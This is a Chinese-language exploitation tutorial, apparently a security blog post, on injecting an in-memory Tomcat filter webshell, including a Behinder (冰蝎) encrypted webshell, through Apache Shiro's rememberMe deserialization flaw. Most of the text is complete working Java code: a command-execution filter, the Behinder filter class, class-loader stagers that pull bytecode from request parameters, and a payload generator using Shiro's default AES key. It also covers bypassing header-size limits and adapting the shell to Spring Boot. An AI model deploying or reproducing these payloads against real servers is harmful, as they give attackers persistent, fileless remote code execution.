利用shiro反序列化注入冰蝎内存马

# 利用shiro反序列化注入冰蝎内存马
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一、shiro反序列化注入内存马

1）tomcat filter内存马

先来看一个普通的jsp写入tomcat filter内存马的代码：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "evil";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }

                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println("doFilter");
            }

            @Override
            public void destroy() {

            }

        };
        
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
    }
%>

对以上的tomcat filter型内存马进行逻辑拆分，有四个主要部分，依次为：

拿到tomcat的StandardContext标准上下文对象

利用standardContext标准上下文对象，反射拿到filterConfigs

恶意filter过滤器的逻辑代码

把恶意filter经过一层层封装，存入filterConfigs中的逻辑

通过访问以上的jsp代码，从而触发这四个主要逻辑就能动态注入一个name为evil，过滤路径URLPattern为/*的filter对象了，接下来只要访问/*就能触发doFilter中的恶意代码。

2）利用shiro反序列化注入内存马

把以上提到的filter内存马逻辑写入恶意类的static方法中，再利用TemplatesImpl来动态加载字节码触发其逻辑，从而注入恶意filter

构造BehinderFilter.java

BehinderFilter因为其被TemplatesImpl类来加载，所以需要继承AbstractTranslet 类

在构造函数中放入tomcat filter内存马的代码后，会缺少一个request对象，在这里request只是用来拿standardContext的，而我们可以通过其他方式拿到standardContext

在文章：Java内存马：一种Tomcat全版本获取StandardContext的新方法中提到，由于Tomcat处理请求的线程中，存在ContextLoader对象，而这个对象又保存了StandardContext对象，从而可以通过以下代码，从线程中拿到StandardContext

 WebappClassLoaderBase webappClassLoaderBase =
                     (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
             StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

再看下图41行与78行的逻辑，实例化了一个内部类后set进filterDef中

其实在这里可以直接把整个恶意类BehinderFilter当作一个filter，使其实现Filter接口

public class BehinderFilter extends AbstractTranslet implements Filter

再把Filter逻辑写入此类的doFilter方法中，最终得到如下代码

package com.govuln.shiroattack.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

shiro反序列化注入内存马

这里采用P牛给出专门针对shiro无CC依赖的CB1链来进行注入内存马，项目代码地址：https://github.com/phith0n/JavaThings

需要在P神给出的项目环境中添加tomcat核心包解决构造的恶意类报错：

<dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>8.5.50</version>
    </dependency>

新建一个类，使用javassist读取一个类文件的class，再利用shiro自带的类，对其进行base64+aes加密

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName());

        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

把生成的字符放入rememberMe中即可成功注入内存马

测试弹出计算器

二、注入冰蝎内存马

在上面实现了shiro注入内存马后，想着是否能注入冰蝎呢。首先要了解下冰蝎jsp马的逻辑

1）冰蝎逻辑

查看Behinder_v3.0_Beta_9中的shell.jsp代码

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>

<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(
            c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
            .newInstance().equals(pageContext);
    }
%>

冰蝎自定义了一个可以解析class字节数组的类加载器U，逻辑为，使用g方法调用super.defineClass，可以将byte[]直接转换为Class对象

判断为post请求后，读取请求体中的数据，拿到进行Base64+AES解码后的字节码数据。
调用自定义类加载器U拿到class后，进行newInstance实例化，调用其恶意对象的equals方法，并且传入pageContext

2）改造冰蝎马

尝试在BehinderFilter.java的filter中，放入冰蝎的核心逻辑代码

if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
            session.putValue("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
        }

接下来就是怎么解决代码中出现的几个红色的问题

request和session对象

request对象可以通过其doFilter方法参数中传递的ServletRequest获得，而session可以通过request.getSession()获得

// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();

pageContext对象

pageContext对象为jsp九大内置对象，在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道，在冰蝎的代码中，服务端需要从pageContext对象中获取出request/response/session。

而在冰蝎3.0 bata7之后不再依赖pageContext对象，只需给在equal函数中传递的object对象中，有request/response/session对象即可，所以此时我们可以把pageContext对象换成一个Map，手动添加这三个对象即可

//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);

然后当我们把制作好的BehinderFilter.java，注入CB1链，通过rememberMe发送给shiro后，就会发现冰蝎并连接不上。此错误在文章冰蝎改造之不改动客户端=>内存马中给出了思路，需要自己通过反射调用类加载器。直接给出代码

//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);

最终的BehinderFilter.java代码变成如下

package com.govuln.shiroattack.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

首先在shiro+tomcat环境下测试成功

然而在springboot+shiro环境中却测试失败了：

3）排错

为了查出这个错误，我选择直接把内存马放入springboot中，自己进行filter注册，debug出其出错点。具体操作如下

启动springboot后可以看到BehinderFilter.java:41行找不到filterConfigs报错

为了进一步查看出错点，在此下好断点步入getDeclaredField

可以看到在2068行进行了filterConfigs的查找

而在此Fileld中确实没有filterConfigs

回到filter代码中，其实，在39行可以看到进行了一次转型，而有可能在springboot中的standardContext此filterConfigs值是继承自父类

修改41行中的代码为如下，从父类中拿filterConfigs

Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");

运行后不报错成功通过逻辑

接下来就是对内存马进行修改了，两个环境，拿filterConfigs的逻辑代码却不同，分别是standardContext本身和其父类。如果要兼容这两个环境的话，可以使用try-catch分别写入两行不同的代码拿到不同得class对象

            Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }

最终修改如下图

最终内存马变为：

package com.govuln.shiroattack.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }

}

测试springboot+shiro环境成功

shiro+tomcat环境成功：

三、绕过maxHttpHeaderSize

为了方便测试，在以上的环境测试中，我进行了maxHttpHeaderSize参数的修改。

如果我们换成默认值的话，其实会爆出一个400的错误，如下

原因在于tomcat的maxHttpHeaderSize默认值只有 4096 个字节(4k)，加密编码后的字节码数据远大于这个4096个字节，所以会爆出400的错误。目前找到三种解决方案并给出对应的文章链接

1）修改maxHttpHeaderSize

Shiro 550 漏洞学习 (二)：内存马注入及回显

2）将class bytes使用gzip+base64压缩编码

tomcat结合shiro无文件webshell的技术研究以及检测方法

3）从POST请求体中发送字节码数据

Java代码执行漏洞中类动态加载的应用

这里我推荐使用第三种方案，就是在post请求体中发送加密编码后的BehinderFilter.java

1）从POST请求体中发送字节码数据

根据师傅的方案，不借助于反序列化恶意filter来注入，而是反序列化一个MyClassLoader，其逻辑为

静态代码块中获取了Spring Boot上下文里的request，response和session，然后获取classData参数并通过反射调用defineClass动态加载此类，实例化后调用其中的equals方法传入request，response和session三个对象

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();

            String classData=request.getParameter("classData");

            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}

通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据

再使用如下命令得到class文件BehinderFilter.class的base64

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

rememberMe中放入通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据，classData传输BehinderFilter.class的base64，要记得进行一次url编码

springboot+shiro环境下测试成功：

而在shiro+tomcat环境下则会测试失败，原因在于MyClassLoader.java代码中，获取request对象是从Spring Boot上下文中获取，而tomcat+shiro环境中并没有spring boot上下文，导致request对象获取失败

2）寻找request对象

怎么在tomcat中寻找到request对象呢，通过xray 技术博客中的Shiro RememberMe 漏洞检测的探索之路这篇文章给了我们思路，通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。其中可以使用c0y1 师傅写的 java-object-searcher ，一款内存对象搜索工具来辅助我们寻找。

下载java-object-searcher，把所有文件复制进tomcat的web项目中

编写一个servlet，在其doGet方法中写入对应的查找逻辑

helloController.java

import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

public class helloController extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("hello servlet!");
        //设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
        //设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
        List<Keyword> keys = new ArrayList<>();
        Keyword.Builder builder = new Keyword.Builder();
        builder.setField_type("nnn");
        keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
        keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
        keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
        keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
        keys.add(new Keyword.Builder().setField_type("Request").build());
        //新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        //打开调试模式
        searcher.setIs_debug(true);
        //挖掘深度为20
        searcher.setMax_search_depth(20);
        //设置报告保存位置
        searcher.setReport_save_path("D:\\");
        searcher.searchObject();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
    
}

当然在web.xml也要配好映射

 <!--注册servlet-->
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>controller.helloController</servlet-class>
  </servlet>
  <!--Servlet映射的请求路径-->
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

运行后访问url地址，即可触发查找，查找结果文件保存在D盘根目录下

打开查找结果文件，发现其中的一个结果中有RequestInfo

debug模式下查看这个对象，确实存在request对象

但其实会发现，拿到的这个Request对象类型为org.apache.coyote.Request，并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象，通过此对象就能调用getParameter方法获取到请求体里面的数据了，具体调试过程太长，这里就不详述了。

根据以上的寻找，可以写出修改后的MyClassLoader.java对象，为了区分之前的类，我重新命名为了ClassDataLoader.java，以下是此类的代码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

最后测试就是生成用shiro中AES+base64加密后的ClassDataLoader.java，放入rememberMe中

再生成BehinderFilter.class的base64放入classData参数中

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

发送后使用冰蝎即可连接成功

四、最后

